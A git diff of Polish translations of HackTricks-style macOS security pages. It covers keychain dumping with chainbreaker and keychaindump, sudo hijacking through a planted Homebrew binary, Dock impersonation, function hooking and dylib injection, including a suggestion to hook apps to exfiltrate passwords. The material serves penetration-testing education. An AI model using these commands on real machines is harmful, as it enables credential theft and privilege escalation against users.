@ -1,4 +1,4 @@
# macOS Wrażliwe lokalizacje i interesujące demony
# macOS Sensitive Locations & Interesting Daemons
{{#include ../../../banners/hacktricks-training.md}}
@ -37,17 +37,17 @@ security dump-keychain -d #Dump all the info, included secrets (the user will be
### [Keychaindump](https://github.com/juuso/keychaindump)
> [!OSTRZEŻENIE]
> Na podstawie tego komentarza [juuso/keychaindump#10 (komentarz)](https://github.com/juuso/keychaindump/issues/10#issuecomment-751218760) wygląda na to, że te narzędzia już nie działają w Big Sur.
> Na podstawie tego komentarza [juuso/keychaindump#10 (komentarz)](https://github.com/juuso/keychaindump/issues/10#issuecomment-751218760) wygląda na to, że te narzędzia nie działają już w Big Sur.
### Przegląd Keychaindump
Narzędzie o nazwie **keychaindump** zostało opracowane w celu wydobywania haseł z kluczy macOS, ale napotyka ograniczenia w nowszych wersjach macOS, takich jak Big Sur, co zostało wskazane w [dyskusji](https://github.com/juuso/keychaindump/issues/10#issuecomment-751218760). Użycie **keychaindump** wymaga, aby atakujący uzyskał dostęp i podniósł uprawnienia do **root**. Narzędzie wykorzystuje fakt, że klucz jest domyślnie odblokowany po zalogowaniu użytkownika dla wygody, co pozwala aplikacjom na dostęp do niego bez konieczności wielokrotnego wprowadzania hasła użytkownika. Jednak jeśli użytkownik zdecyduje się zablokować swój klucz po każdym użyciu, **keychaindump** staje się nieskuteczne.
Narzędzie o nazwie **keychaindump** zostało opracowane w celu wydobywania haseł z keychainów macOS, ale napotyka ograniczenia w nowszych wersjach macOS, takich jak Big Sur, co zostało wskazane w [dyskusji](https://github.com/juuso/keychaindump/issues/10#issuecomment-751218760). Użycie **keychaindump** wymaga, aby atakujący uzyskał dostęp i podniósł uprawnienia do **root**. Narzędzie wykorzystuje fakt, że keychain jest domyślnie odblokowany po zalogowaniu użytkownika dla wygody, co pozwala aplikacjom na dostęp do niego bez konieczności wielokrotnego wprowadzania hasła użytkownika. Jednak jeśli użytkownik zdecyduje się zablokować swój keychain po każdym użyciu, **keychaindump** staje się nieskuteczne.
**Keychaindump** działa, celując w konkretny proces zwany **securityd**, opisany przez Apple jako demon do autoryzacji i operacji kryptograficznych, kluczowy do uzyskania dostępu do klucza. Proces wydobywania polega na zidentyfikowaniu **Master Key** pochodzącego z hasła logowania użytkownika. Ten klucz jest niezbędny do odczytu pliku klucza. Aby zlokalizować **Master Key**, **keychaindump** skanuje stos pamięci **securityd** za pomocą polecenia `vmmap`, szukając potencjalnych kluczy w obszarach oznaczonych jako `MALLOC_TINY`. Następujące polecenie jest używane do sprawdzenia tych lokalizacji pamięci:
**Keychaindump** działa, celując w konkretny proces zwany **securityd**, opisany przez Apple jako demon do autoryzacji i operacji kryptograficznych, kluczowy do uzyskania dostępu do keychaina. Proces wydobywania polega na zidentyfikowaniu **Master Key** pochodzącego z hasła logowania użytkownika. Klucz ten jest niezbędny do odczytu pliku keychain. Aby zlokalizować **Master Key**, **keychaindump** skanuje stos pamięci **securityd** za pomocą polecenia `vmmap`, szukając potencjalnych kluczy w obszarach oznaczonych jako `MALLOC_TINY`. Następujące polecenie jest używane do inspekcji tych lokalizacji pamięci:
```bash
sudo vmmap <securityd PID> | grep MALLOC_TINY
```
Po zidentyfikowaniu potencjalnych kluczy głównych, **keychaindump** przeszukuje sterty w poszukiwaniu konkretnego wzoru (`0x0000000000000018`), który wskazuje na kandydata na klucz główny. Dalsze kroki, w tym deobfuskacja, są wymagane do wykorzystania tego klucza, jak opisano w kodzie źródłowym **keychaindump**. Analitycy koncentrujący się na tym obszarze powinni zauważyć, że kluczowe dane do odszyfrowania pęku kluczy są przechowywane w pamięci procesu **securityd**. Przykładowa komenda do uruchomienia **keychaindump** to:
Po zidentyfikowaniu potencjalnych kluczy głównych, **keychaindump** przeszukuje sterty w poszukiwaniu konkretnego wzorca (`0x0000000000000018`), który wskazuje na kandydata na klucz główny. Dalsze kroki, w tym deobfuskacja, są wymagane do wykorzystania tego klucza, jak opisano w kodzie źródłowym **keychaindump**. Analitycy koncentrujący się na tym obszarze powinni zauważyć, że kluczowe dane do odszyfrowania pęku kluczy są przechowywane w pamięci procesu **securityd**. Przykładowa komenda do uruchomienia **keychaindump** to:
```bash
sudo ./keychaindump
```
@ -64,7 +64,7 @@ sudo ./keychaindump
- Bezpieczne notatki
- Hasła Appleshare
Dając hasło do odblokowania keychain, klucz główny uzyskany za pomocą [volafox](https://github.com/n0fate/volafox) lub [volatility](https://github.com/volatilityfoundation/volatility), lub plik odblokowujący taki jak SystemKey, Chainbreaker również dostarczy hasła w postaci tekstu jawnego.
Podając hasło do odblokowania keychain, klucz główny uzyskany za pomocą [volafox](https://github.com/n0fate/volafox) lub [volatility](https://github.com/volatilityfoundation/volatility), lub plik odblokowujący, taki jak SystemKey, Chainbreaker również dostarczy hasła w postaci tekstu jawnego.
Bez jednej z tych metod odblokowywania Keychain, Chainbreaker wyświetli wszystkie inne dostępne informacje.
@ -81,7 +81,7 @@ hexdump -s 8 -n 24 -e '1/1 "%.2x"' /var/db/SystemKey && echo
## Use the previous key to decrypt the passwords
python2.7 chainbreaker.py --dump-all --key 0293847570022761234562947e0bcd5bc04d196ad2345697 /Library/Keychains/System.keychain
```
#### **Zrzut kluczy z pęku (z hasłami) łamanie hasha**
#### **Zrzut kluczy z pęku kluczy (z hasłami) łamanie hasha**
```bash
# Get the keychain hash
python2.7 chainbreaker.py --dump-keychain-password-hash /Library/Keychains/System.keychain
@ -92,7 +92,7 @@ python2.7 chainbreaker.py --dump-all --key 0293847570022761234562947e0bcd5bc04d1
```
#### **Zrzut kluczy z pęku kluczy (z hasłami) za pomocą zrzutu pamięci**
[Postępuj zgodnie z tymi krokami](../#dumping-memory-with-osxpmem), aby wykonać **zrzut pamięci**
[Postępuj zgodnie z tymi krokami](../index.html#dumping-memory-with-osxpmem), aby wykonać **zrzut pamięci**
```bash
#Use volafox (https://github.com/n0fate/volafox) to extract possible keychain passwords
# Unformtunately volafox isn't working with the latest versions of MacOS
@ -129,7 +129,7 @@ sqlite3 $HOME/Suggestions/snippets.db 'select * from emailSnippets'
Możesz znaleźć dane Powiadomień w `$(getconf DARWIN_USER_DIR)/com.apple.notificationcenter/`
Większość interesujących informacji będzie w **blob**. Więc będziesz musiał **wyodrębnić** tę zawartość i **przekształcić** ją na **czytelną** **dla ludzi** lub użyć **`strings`**. Aby uzyskać do niej dostęp, możesz to zrobić:
Większość interesujących informacji będzie w **blob**. Więc będziesz musiał **wyodrębnić** tę zawartość i **przekształcić** ją na **czytelną** **ludzką** lub użyć **`strings`**. Aby uzyskać do niej dostęp, możesz to zrobić:
```bash
cd $(getconf DARWIN_USER_DIR)/com.apple.notificationcenter/
strings $(getconf DARWIN_USER_DIR)/com.apple.notificationcenter/db2/db | grep -i -A4 slack
@ -147,13 +147,13 @@ for i in $(sqlite3 ~/Library/Group\ Containers/group.com.apple.notes/NoteStore.s
W aplikacjach macOS preferencje znajdują się w **`$HOME/Library/Preferences`**, a w iOS są w `/var/mobile/Containers/Data/Application/<UUID>/Library/Preferences`.
W macOS narzędzie cli **`defaults`** może być używane do **modyfikacji pliku preferencji**.
W macOS narzędzie cli **`defaults`** może być używane do **modyfikacji pliku Preferencji**.
**`/usr/sbin/cfprefsd`** obsługuje usługi XPC `com.apple.cfprefsd.daemon` i `com.apple.cfprefsd.agent` i może być wywoływane w celu wykonania działań, takich jak modyfikacja preferencji.
## OpenDirectory permissions.plist
Plik `/System/Library/OpenDirectory/permissions.plist` zawiera uprawnienia stosowane do atrybutów węzłów i jest chroniony przez SIP.\
Plik `/System/Library/OpenDirectory/permissions.plist` zawiera uprawnienia stosowane do atrybutów węzła i jest chroniony przez SIP.\
Plik ten przyznaje uprawnienia określonym użytkownikom na podstawie UUID (a nie uid), aby mogli uzyskać dostęp do określonych wrażliwych informacji, takich jak `ShadowHashData`, `HeimdalSRPKey` i `KerberosKeys`, między innymi:
```xml
[...]
@ -234,7 +234,7 @@ Możliwe jest również uzyskanie informacji o demonie i połączeniach za pomoc
To są powiadomienia, które użytkownik powinien zobaczyć na ekranie:
- **`CFUserNotification`**: To API zapewnia sposób na wyświetlenie na ekranie okna pop-up z wiadomością.
- **`CFUserNotification`**: Te API zapewniają sposób na wyświetlenie na ekranie okna pop-up z wiadomością.
- **Tablica Ogłoszeń**: To wyświetla w iOS baner, który znika i będzie przechowywany w Centrum Powiadomień.
- **`NSUserNotificationCenter`**: To jest tablica ogłoszeń iOS w MacOS. Baza danych z powiadomieniami znajduje się w `/var/folders/<user temp>/0/com.apple.notificationcenter/db2/db`

View File

@ -12,17 +12,17 @@ macos-security-protections/macos-tcc/
## Linux Privesc
Proszę zauważyć, że **większość sztuczek dotyczących eskalacji uprawnień wpływających na Linux/Unix wpłynie również na maszyny MacOS**. Zobacz więc:
Proszę zauważyć, że **większość sztuczek dotyczących eskalacji uprawnień wpływających na Linux/Unix będzie miała również wpływ na maszyny MacOS**. Zobacz więc:
{{#ref}}
../../linux-hardening/privilege-escalation/
{{#endref}}
## Interakcja z użytkownikiem
## User Interaction
### Sudo Hijacking
Możesz znaleźć oryginalną [technikę Sudo Hijacking w poście o eskalacji uprawnień Linux](../../linux-hardening/privilege-escalation/#sudo-hijacking).
Możesz znaleźć oryginalną [technikę Sudo Hijacking w poście o eskalacji uprawnień Linux](../../linux-hardening/privilege-escalation/index.html#sudo-hijacking).
Jednak macOS **zachowuje** **`PATH`** użytkownika, gdy wykonuje **`sudo`**. Co oznacza, że innym sposobem na przeprowadzenie tego ataku byłoby **przejęcie innych binarek**, które ofiara nadal wykona podczas **uruchamiania sudo:**
```bash
@ -39,11 +39,11 @@ chmod +x /opt/homebrew/bin/ls
# victim
sudo ls
```
Zauważ, że użytkownik korzystający z terminala prawdopodobnie ma **zainstalowany Homebrew**. Możliwe jest więc przejęcie binarek w **`/opt/homebrew/bin`**.
Zauważ, że użytkownik korzystający z terminala prawdopodobnie ma **zainstalowane Homebrew**. Możliwe jest więc przejęcie binarek w **`/opt/homebrew/bin`**.
### Podszywanie się pod Dock
Używając pewnych **techniki społecznego inżynierii**, możesz **podszyć się na przykład pod Google Chrome** w docku i faktycznie wykonać swój własny skrypt:
Używając pewnych **techniki inżynierii społecznej**, możesz **podszyć się na przykład pod Google Chrome** w docku i faktycznie wykonać swój własny skrypt:
{{#tabs}}
{{#tab name="Chrome Impersonation"}}
@ -205,7 +205,7 @@ killall Dock
### CVE-2020-9771 - obejście TCC mount_apfs i eskalacja uprawnień
**Każdy użytkownik** (nawet nieuprzywilejowany) może utworzyć i zamontować migawkę Time Machine oraz **uzyskać dostęp do WSZYSTKICH plików** tej migawki.\
**Każdy użytkownik** (nawet bez uprawnień) może utworzyć i zamontować migawkę Time Machine oraz **uzyskać dostęp do WSZYSTKICH plików** tej migawki.\
**Jedynym wymaganym uprawnieniem** jest to, aby aplikacja używana (jak `Terminal`) miała dostęp **Full Disk Access** (FDA) (`kTCCServiceSystemPolicyAllfiles`), co musi być przyznane przez administratora.
```bash
# Create snapshot

View File

@ -6,7 +6,7 @@
Utwórz **dylib** z sekcją **`__interpose` (`__DATA___interpose`)** (lub sekcją oznaczoną jako **`S_INTERPOSING`**) zawierającą krotki **wskaźników funkcji**, które odnoszą się do **oryginalnych** i **zamiennych** funkcji.
Następnie **wstrzyknij** dylib za pomocą **`DYLD_INSERT_LIBRARIES`** (interpozycja musi nastąpić przed załadowaniem głównej aplikacji). Oczywiście [**ograniczenia** dotyczące użycia **`DYLD_INSERT_LIBRARIES`** mają tu również zastosowanie](macos-library-injection/#check-restrictions).
Następnie **wstrzyknij** dylib za pomocą **`DYLD_INSERT_LIBRARIES`** (interpozycja musi nastąpić przed załadowaniem głównej aplikacji). Oczywiście [**ograniczenia** dotyczące użycia **`DYLD_INSERT_LIBRARIES`** mają tu również zastosowanie](macos-library-injection/index.html#check-restrictions).
### Interpozycja printf
@ -103,7 +103,7 @@ Potrzebny jest **obiekt**, **metoda** i **parametry**. A gdy metoda jest wywoły
Obiekt to **`someObject`**, metoda to **`@selector(method1p1:p2:)`**, a argumenty to **value1**, **value2**.
Zgodnie z strukturami obiektów, możliwe jest dotarcie do **tablicy metod**, w której **nazwy** i **wskaźniki** do kodu metody są **zlokalizowane**.
Śledząc struktury obiektów, możliwe jest dotarcie do **tablicy metod**, w której **nazwy** i **wskaźniki** do kodu metody są **zlokalizowane**.
> [!CAUTION]
> Zauważ, że ponieważ metody i klasy są dostępne na podstawie ich nazw, te informacje są przechowywane w binarnym pliku, więc można je odzyskać za pomocą `otool -ov </path/bin>` lub [`class-dump </path/bin>`](https://github.com/nygard/class-dump)
@ -226,7 +226,7 @@ return 0;
}
```
> [!WARNING]
> W tym przypadku, jeśli **kod implementacji** legalnej **metody** **weryfikuje** **nazwę** **metody**, może **wykryć** to swizzling i zapobiec jego uruchomieniu.
> W tym przypadku, jeśli **kod implementacji legit** metody **weryfikuje** **nazwę** **metody**, może **wykryć** to swizzling i zapobiec jego uruchomieniu.
>
> Następująca technika nie ma tego ograniczenia.
@ -234,7 +234,7 @@ return 0;
Poprzedni format jest dziwny, ponieważ zmieniasz implementację 2 metod jedna na drugą. Używając funkcji **`method_setImplementation`**, możesz **zmienić** **implementację** **metody na inną**.
Pamiętaj tylko, aby **zachować adres implementacji oryginalnej** metody, jeśli zamierzasz ją wywołać z nowej implementacji przed nadpisaniem, ponieważ później będzie znacznie trudniej zlokalizować ten adres.
Pamiętaj tylko, aby **zachować adres implementacji oryginalnej** metody, jeśli zamierzasz ją wywołać z nowej implementacji przed jej nadpisaniem, ponieważ później będzie znacznie trudniej zlokalizować ten adres.
```objectivec
#import <Foundation/Foundation.h>
#import <objc/runtime.h>
@ -288,9 +288,9 @@ return 0;
```
## Metodologia Ataku Hooking
Na tej stronie omówiono różne sposoby hookowania funkcji. Jednak polegały one na **uruchamianiu kodu wewnątrz procesu w celu ataku**.
Na tej stronie omówiono różne sposoby hookowania funkcji. Jednak wiązało się to z **uruchamianiem kodu wewnątrz procesu w celu ataku**.
Aby to zrobić, najłatwiejszą techniką do użycia jest wstrzyknięcie [Dyld za pomocą zmiennych środowiskowych lub przejęcia](macos-library-injection/macos-dyld-hijacking-and-dyld_insert_libraries.md). Jednak przypuszczam, że można to również zrobić za pomocą [wstrzykiwania procesu Dylib](macos-ipc-inter-process-communication/#dylib-process-injection-via-task-port).
Aby to zrobić, najłatwiejszą techniką do użycia jest wstrzyknięcie [Dyld za pomocą zmiennych środowiskowych lub przejęcia](macos-library-injection/macos-dyld-hijacking-and-dyld_insert_libraries.md). Jednak przypuszczam, że można to również zrobić za pomocą [wstrzykiwania Dylib do procesu](macos-ipc-inter-process-communication/index.html#dylib-process-injection-via-task-port).
Jednak obie opcje są **ograniczone** do **niechronionych** binarek/procesów. Sprawdź każdą technikę, aby dowiedzieć się więcej o ograniczeniach.
@ -308,7 +308,7 @@ a następnie **ponownie zarejestruj** aplikację:
```bash
/System/Library/Frameworks/CoreServices.framework/Frameworks/LaunchServices.framework/Support/lsregister -f /Applications/Application.app
```
Dodaj do tej biblioteki kod hookujący do eksfiltracji informacji: Hasła, wiadomości...
Dodaj do tej biblioteki kod hookujący, aby wyeksportować informacje: Hasła, wiadomości...
> [!CAUTION]
> Zauważ, że w nowszych wersjach macOS, jeśli **usunięto podpis** binarnego pliku aplikacji i był on wcześniej uruchamiany, macOS **nie będzie już uruchamiać aplikacji**.

View File

@ -4,7 +4,7 @@
## Podstawowe informacje
MIG został stworzony, aby **uprościć proces tworzenia kodu Mach IPC**. W zasadzie **generuje potrzebny kod** dla serwera i klienta do komunikacji z daną definicją. Nawet jeśli wygenerowany kod jest brzydki, programista będzie musiał tylko go zaimportować, a jego kod będzie znacznie prostszy niż wcześniej.
MIG został stworzony, aby **uprościć proces tworzenia kodu Mach IPC**. W zasadzie **generuje potrzebny kod** dla serwera i klienta do komunikacji zgodnie z daną definicją. Nawet jeśli wygenerowany kod jest brzydki, programista będzie musiał go tylko zaimportować, a jego kod będzie znacznie prostszy niż wcześniej.
Definicja jest określona w języku definicji interfejsu (IDL) z użyciem rozszerzenia `.defs`.
@ -40,7 +40,7 @@ server_port : mach_port_t;
n1 : uint32_t;
n2 : uint32_t);
```
Zauważ, że pierwszy **argument to port do powiązania** a MIG **automatycznie obsłuży port odpowiedzi** (chyba że wywołasz `mig_get_reply_port()` w kodzie klienta). Ponadto, **ID operacji** będzie **sekwencyjne**, zaczynając od wskazanego ID podsystemu (więc jeśli operacja jest przestarzała, jest usuwana, a `skip` jest używane, aby nadal używać jej ID).
Zauważ, że pierwszy **argument to port do powiązania** a MIG **automatycznie obsłuży port odpowiedzi** (chyba że wywołasz `mig_get_reply_port()` w kodzie klienta). Ponadto, **ID operacji** będą **sekwencyjne**, zaczynając od wskazanego ID podsystemu (więc jeśli operacja jest przestarzała, jest usuwana, a `skip` jest używane, aby nadal używać jej ID).
Teraz użyj MIG, aby wygenerować kod serwera i klienta, który będzie w stanie komunikować się ze sobą, aby wywołać funkcję Subtract:
```bash
@ -149,7 +149,7 @@ return FALSE;
}
</code></pre>
Sprawdź wcześniej podkreślone linie uzyskujące dostęp do funkcji, aby wywołać ją według identyfikatora.
Sprawdź wcześniej podświetlone linie uzyskujące dostęp do funkcji, aby wywołać ją według identyfikatora.
Poniższy kod tworzy prosty **serwer** i **klienta**, gdzie klient może wywołać funkcje Odejmij z serwera:
@ -219,7 +219,7 @@ USERPREFSubtract(port, 40, 2);
NDR_record jest eksportowany przez `libsystem_kernel.dylib` i jest to struktura, która pozwala MIG na **transformację danych, aby były niezależne od systemu**, w którym są używane, ponieważ MIG miał być używany między różnymi systemami (a nie tylko na tej samej maszynie).
To jest interesujące, ponieważ jeśli `_NDR_record` zostanie znaleziony w binarnym pliku jako zależność (`jtool2 -S <binary> | grep NDR` lub `nm`), oznacza to, że plik binarny jest klientem lub serwerem MIG.
To jest interesujące, ponieważ jeśli `_NDR_record` zostanie znaleziony w binarnym pliku jako zależność (`jtool2 -S <binary> | grep NDR` lub `nm`), oznacza to, że binarny plik jest klientem lub serwerem MIG.
Ponadto **serwery MIG** mają tabelę dyspozycyjną w `__DATA.__const` (lub w `__CONST.__constdata` w jądrze macOS i `__DATA_CONST.__const` w innych jądrze \*OS). Można to zrzucić za pomocą **`jtool2`**.
@ -231,7 +231,7 @@ A **klienci MIG** będą używać `__NDR_record`, aby wysłać z `__mach_msg` do
Ponieważ wiele binarnych plików teraz używa MIG do udostępniania portów mach, interesujące jest wiedzieć, jak **zidentyfikować, że MIG był używany** oraz **funkcje, które MIG wykonuje** z każdym identyfikatorem wiadomości.
[**jtool2**](../../macos-apps-inspecting-debugging-and-fuzzing/#jtool2) może analizować informacje MIG z binarnego pliku Mach-O, wskazując identyfikator wiadomości i identyfikując funkcję do wykonania:
[**jtool2**](../../macos-apps-inspecting-debugging-and-fuzzing/index.html#jtool2) może analizować informacje MIG z binarnego pliku Mach-O, wskazując identyfikator wiadomości i identyfikując funkcję do wykonania:
```bash
jtool2 -d __DATA.__const myipc_server | grep MIG
```
@ -332,7 +332,7 @@ if (CPU_FLAGS &#x26; NE) {
r8 = 0x1;
}
}
// To samo if - else jak w poprzedniej wersji
// To samo if else jak w poprzedniej wersji
// Sprawdź użycie adresu 0x100004040 (tablica adresów funkcji)
<strong> if ((r8 &#x26; 0x1) == 0x0) {
</strong><strong> *(var_18 + 0x18) = **0x100004000;
@ -365,7 +365,7 @@ return r0;
{{#endtab}}
{{#endtabs}}
W rzeczywistości, jeśli przejdziesz do funkcji **`0x100004000`**, znajdziesz tablicę struktur **`routine_descriptor`**. Pierwszym elementem struktury jest **adres**, w którym **funkcja** jest zaimplementowana, a **struktura zajmuje 0x28 bajtów**, więc co 0x28 bajtów (zaczynając od bajtu 0) możesz uzyskać 8 bajtów, a to będzie **adres funkcji**, która ma być wywołana:
W rzeczywistości, jeśli przejdziesz do funkcji **`0x100004000`**, znajdziesz tablicę struktur **`routine_descriptor`**. Pierwszym elementem struktury jest **adres**, w którym **funkcja** jest zaimplementowana, a **struktura zajmuje 0x28 bajtów**, więc co 0x28 bajtów (zaczynając od bajtu 0) możesz uzyskać 8 bajtów, a to będzie **adres funkcji**, która zostanie wywołana:
<figure><img src="../../../../images/image (35).png" alt=""><figcaption></figcaption></figure>

View File

@ -3,9 +3,9 @@
{{#include ../../../../banners/hacktricks-training.md}}
> [!CAUTION]
> Kod **dyld jest otwartym źródłem** i można go znaleźć w [https://opensource.apple.com/source/dyld/](https://opensource.apple.com/source/dyld/) i można go pobrać jako tar za pomocą **URL, takiego jak** [https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz](https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz)
> Kod **dyld jest open source** i można go znaleźć pod adresem [https://opensource.apple.com/source/dyld/](https://opensource.apple.com/source/dyld/) i można go pobrać jako tar za pomocą **URL, takiego jak** [https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz](https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz)
## **Proces Dyld**
## **Dyld Process**
Zobacz, jak Dyld ładuje biblioteki wewnątrz binarek w:
@ -15,9 +15,9 @@ macos-dyld-process.md
## **DYLD_INSERT_LIBRARIES**
To jest jak [**LD_PRELOAD na Linuxie**](../../../../linux-hardening/privilege-escalation/#ld_preload). Umożliwia wskazanie procesu, który ma być uruchomiony, aby załadować konkretną bibliotekę z określonej ścieżki (jeśli zmienna env jest włączona)
To jest jak [**LD_PRELOAD na Linuxie**](../../../../linux-hardening/privilege-escalation/index.html#ld_preload). Umożliwia wskazanie procesu, który ma być uruchomiony, aby załadować konkretną bibliotekę z określonej ścieżki (jeśli zmienna środowiskowa jest włączona).
Ta technika może być również **używana jako technika ASEP**, ponieważ każda zainstalowana aplikacja ma plist o nazwie "Info.plist", która pozwala na **przypisanie zmiennych środowiskowych** za pomocą klucza o nazwie `LSEnvironmental`.
Ta technika może być również **używana jako technika ASEP**, ponieważ każda zainstalowana aplikacja ma plist o nazwie "Info.plist", który pozwala na **przypisanie zmiennych środowiskowych** za pomocą klucza o nazwie `LSEnvironmental`.
> [!NOTE]
> Od 2012 roku **Apple drastycznie ograniczyło moc** **`DYLD_INSERT_LIBRARIES`**.
@ -59,14 +59,14 @@ macos-dyld-hijacking-and-dyld_insert_libraries.md
> [!CAUTION]
> Pamiętaj, że **wcześniejsze ograniczenia walidacji bibliotek również mają zastosowanie** do przeprowadzania ataków Dylib hijacking.
Podobnie jak w Windows, w MacOS możesz również **przechwytywać dyliby**, aby sprawić, by **aplikacje** **wykonywały** **dowolny** **kod** (właściwie, z poziomu zwykłego użytkownika może to nie być możliwe, ponieważ możesz potrzebować zgody TCC, aby pisać wewnątrz pakietu `.app` i przechwycić bibliotekę).\
Jednak sposób, w jaki **aplikacje MacOS** **ładują** biblioteki, jest **bardziej ograniczony** niż w Windows. Oznacza to, że **deweloperzy złośliwego oprogramowania** mogą nadal używać tej techniki do **ukrycia**, ale prawdopodobieństwo, że będą mogli **nadużyć tego do eskalacji uprawnień, jest znacznie mniejsze**.
Podobnie jak w Windows, w MacOS możesz również **przechwytywać dyliby**, aby sprawić, że **aplikacje** **wykonają** **dowolny** **kod** (właściwie, z konta zwykłego użytkownika może to nie być możliwe, ponieważ możesz potrzebować zgody TCC, aby pisać wewnątrz pakietu `.app` i przechwycić bibliotekę).\
Jednak sposób, w jaki **aplikacje MacOS** **ładują** biblioteki, jest **bardziej ograniczony** niż w Windows. Oznacza to, że **twórcy złośliwego oprogramowania** mogą nadal używać tej techniki do **ukrywania się**, ale prawdopodobieństwo, że będą mogli **nadużyć tego do eskalacji uprawnień, jest znacznie mniejsze**.
Przede wszystkim, jest **bardziej powszechne**, że **binarki MacOS wskazują pełną ścieżkę** do bibliotek do załadowania. Po drugie, **MacOS nigdy nie szuka** w folderach **$PATH** bibliotek.
Przede wszystkim, jest **bardziej powszechne**, że **binarki MacOS wskazują pełną ścieżkę** do bibliotek do załadowania. Po drugie, **MacOS nigdy nie przeszukuje** folderów **$PATH** w poszukiwaniu bibliotek.
**Główna** część **kodu** związana z tą funkcjonalnością znajduje się w **`ImageLoader::recursiveLoadLibraries`** w `ImageLoader.cpp`.
Istnieją **4 różne polecenia nagłówkowe**, które binarka macho może użyć do ładowania bibliotek:
Istnieją **4 różne polecenia nagłówkowe**, które binarka macho może użyć do załadowania bibliotek:
- **`LC_LOAD_DYLIB`** to standardowe polecenie do ładowania dylibu.
- **`LC_LOAD_WEAK_DYLIB`** działa jak poprzednie, ale jeśli dylib nie zostanie znaleziony, wykonanie kontynuuje bez żadnego błędu.
@ -100,7 +100,7 @@ compatibility version 1.0.0
> - Gdy jest używane w pliku wykonywalnym, **`@loader_path`** jest w zasadzie **tym samym** co **`@executable_path`**.
> - Gdy jest używane w **dylib**, **`@loader_path`** daje **ścieżkę** do **dylib**.
Sposób na **eskalację uprawnień** nadużywając tej funkcjonalności byłby w rzadkim przypadku, gdy **aplikacja** uruchamiana **przez** **root** **szuka** jakiejś **biblioteki w jakimś folderze, w którym atakujący ma uprawnienia do zapisu.**
Sposób na **eskalację uprawnień** poprzez nadużycie tej funkcjonalności byłby w rzadkim przypadku, gdy **aplikacja** uruchamiana **przez** **root** **szuka** jakiejś **biblioteki w jakimś folderze, w którym atakujący ma uprawnienia do zapisu.**
> [!TIP]
> Fajnym **skanerem** do znajdowania **brakujących bibliotek** w aplikacjach jest [**Dylib Hijack Scanner**](https://objective-see.com/products/dhs.html) lub [**wersja CLI**](https://github.com/pandazheng/DylibHijack).\
@ -122,40 +122,40 @@ Z **`man dlopen`**:
- Gdy ścieżka **nie zawiera znaku ukośnika** (tj. jest tylko nazwą liścia), **dlopen() będzie szukać**. Jeśli **`$DYLD_LIBRARY_PATH`** został ustawiony przy uruchomieniu, dyld najpierw **sprawdzi w tym katalogu**. Następnie, jeśli plik mach-o wywołujący lub główny plik wykonywalny określają **`LC_RPATH`**, dyld **sprawdzi w tych** katalogach. Następnie, jeśli proces jest **nieograniczony**, dyld będzie szukać w **bieżącym katalogu roboczym**. Na koniec, dla starych binarek, dyld spróbuje kilku alternatyw. Jeśli **`$DYLD_FALLBACK_LIBRARY_PATH`** został ustawiony przy uruchomieniu, dyld będzie szukać w **tych katalogach**, w przeciwnym razie dyld będzie szukać w **`/usr/local/lib/`** (jeśli proces jest nieograniczony), a następnie w **`/usr/lib/`** (te informacje zostały wzięte z **`man dlopen`**).
1. `$DYLD_LIBRARY_PATH`
2. `LC_RPATH`
3. `CWD`(jeśli nieograniczony)
3. `CWD`(jeśli nieograniczone)
4. `$DYLD_FALLBACK_LIBRARY_PATH`
5. `/usr/local/lib/` (jeśli nieograniczony)
5. `/usr/local/lib/` (jeśli nieograniczone)
6. `/usr/lib/`
> [!CAUTION]
> Jeśli w nazwie nie ma ukośników, będą 2 sposoby na przechwycenie:
> Jeśli nie ma ukośników w nazwie, będą 2 sposoby na przeprowadzenie przechwytywania:
>
> - Jeśli jakiekolwiek **`LC_RPATH`** jest **zapisywalne** (ale podpis jest sprawdzany, więc do tego potrzebujesz również, aby binarka była nieograniczona)
> - Jeśli binarka jest **nieograniczona**, a następnie możliwe jest załadowanie czegoś z CWD (lub nadużycie jednej z wymienionych zmiennych env)
> - Jeśli binarka jest **nieograniczona**, a następnie możliwe jest załadowanie czegoś z CWD (lub nadużycie jednej z wymienionych zmiennych środowiskowych)
- Gdy ścieżka **wygląda jak ścieżka frameworku** (np. `/stuff/foo.framework/foo`), jeśli **`$DYLD_FRAMEWORK_PATH`** został ustawiony przy uruchomieniu, dyld najpierw sprawdzi w tym katalogu dla **częściowej ścieżki frameworku** (np. `foo.framework/foo`). Następnie dyld spróbuje **podanej ścieżki tak, jak jest** (używając bieżącego katalogu roboczego dla ścieżek względnych). Na koniec, dla starych binarek, dyld spróbuje kilku alternatyw. Jeśli **`$DYLD_FALLBACK_FRAMEWORK_PATH`** został ustawiony przy uruchomieniu, dyld będzie szukać w tych katalogach. W przeciwnym razie, będzie szukać w **`/Library/Frameworks`** (na macOS, jeśli proces jest nieograniczony), a następnie **`/System/Library/Frameworks`**.
- Gdy ścieżka **wygląda jak ścieżka frameworku** (np. `/stuff/foo.framework/foo`), jeśli **`$DYLD_FRAMEWORK_PATH`** został ustawiony przy uruchomieniu, dyld najpierw sprawdzi w tym katalogu, czy znajduje się **częściowa ścieżka frameworku** (np. `foo.framework/foo`). Następnie dyld spróbuje **podanej ścieżki tak, jak jest** (używając bieżącego katalogu roboczego dla ścieżek względnych). Na koniec, dla starych binarek, dyld spróbuje kilku alternatyw. Jeśli **`$DYLD_FALLBACK_FRAMEWORK_PATH`** został ustawiony przy uruchomieniu, dyld będzie szukać w tych katalogach. W przeciwnym razie, będzie szukać w **`/Library/Frameworks`** (na macOS, jeśli proces jest nieograniczony), a następnie **`/System/Library/Frameworks`**.
1. `$DYLD_FRAMEWORK_PATH`
2. podana ścieżka (używając bieżącego katalogu roboczego dla ścieżek względnych, jeśli nieograniczony)
2. podana ścieżka (używając bieżącego katalogu roboczego dla ścieżek względnych, jeśli nieograniczone)
3. `$DYLD_FALLBACK_FRAMEWORK_PATH`
4. `/Library/Frameworks` (jeśli nieograniczony)
4. `/Library/Frameworks` (jeśli nieograniczone)
5. `/System/Library/Frameworks`
> [!CAUTION]
> Jeśli ścieżka frameworku, sposób na jej przechwycenie byłby:
>
> - Jeśli proces jest **nieograniczony**, nadużywając **względnej ścieżki z CWD** wspomnianych zmiennych env (nawet jeśli nie jest to powiedziane w dokumentacji, jeśli proces jest ograniczony, zmienne DYLD\_\* są usuwane)
